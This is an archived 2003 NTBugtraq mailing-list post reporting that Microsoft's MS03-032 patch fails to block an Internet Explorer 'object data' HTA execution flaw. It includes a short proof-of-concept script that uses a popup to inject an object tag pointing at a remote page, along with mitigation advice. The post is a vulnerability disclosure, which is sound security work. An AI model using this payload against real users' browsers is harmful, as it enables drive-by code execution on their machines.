BAD NEWS: Microsoft Security Bulletin MS03-032

• Previous message: Gary Flynn: "Re: Alert: Microsoft Security Bulletin - MS03-036"
• Next in thread: http-equiv_at_excite.com: "Re: BAD NEWS: Microsoft Security Bulletin MS03-032"
• Maybe reply: http-equiv_at_excite.com: "Re: BAD NEWS: Microsoft Security Bulletin MS03-032"
• Reply: GreyMagic Software: "Re: BAD NEWS: Microsoft Security Bulletin MS03-032"
• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]

Date:         Sun, 7 Sep 2003 13:16:18 -0000
To: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM

Since the cat somehow got out of the bag, and more importantly, this
is so blatantly obvious, herewith is the "Bad News":

The patch for Drew's object data=funky.hta doesn't work:

http://www.malware.com/badnews.html

<script>
  var oPopup = window.createPopup();

  function showPopup() {
    oPopup.document.body.innerHTML = "<object data=ouch.php>";
    oPopup.show(0,0,1,1,document.body);
  }

  showPopup()
</script>

Notes:

1. Disable Active Scripting
2. In case that does not work, uninstall Internet Explorer
3. http://www.eeye.com/html/Research/Advisories/AD20030820.html
4. This was sent to the manufacturer quite some time prior to this
   going out. Surprisingly no immediate acknowledgement
5. This is so blatantly obvious, in particular because it is
   the coupling of two known issues[one current + one from 2002]:

   http://www.securityfocus.com/bid/3867/

It is beyond comprehension why this was not checked from the
outset as it is a known issue plus file://::{CLSID}in the control
panel in the object tag still functions to date.
6. At this stage one must really question the compentency of this
particular operation. This is a pathetic oversight.

--
http://www.malware.com
-ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo
Whatever Happened to Octopus?
LEGATO RepliStor, formerly known as Octopus, delivers breakthrough
replication performance that's 5X faster than the competition in an
independent head-to-head test. Learn how RepliStor uses patented,
asynchronous, real-time replication, to deliver disaster recovery, data
distribution and consolidated backups. It is the first replication solution
to achieve Windows 2003 certification. Get the performance report now.
http://portal1.legato.com/products/replistor/upgrade.cfm
-ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo

• Previous message: Gary Flynn: "Re: Alert: Microsoft Security Bulletin - MS03-036"
• Next in thread: http-equiv_at_excite.com: "Re: BAD NEWS: Microsoft Security Bulletin MS03-032"
• Maybe reply: http-equiv_at_excite.com: "Re: BAD NEWS: Microsoft Security Bulletin MS03-032"
• Reply: GreyMagic Software: "Re: BAD NEWS: Microsoft Security Bulletin MS03-032"
• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]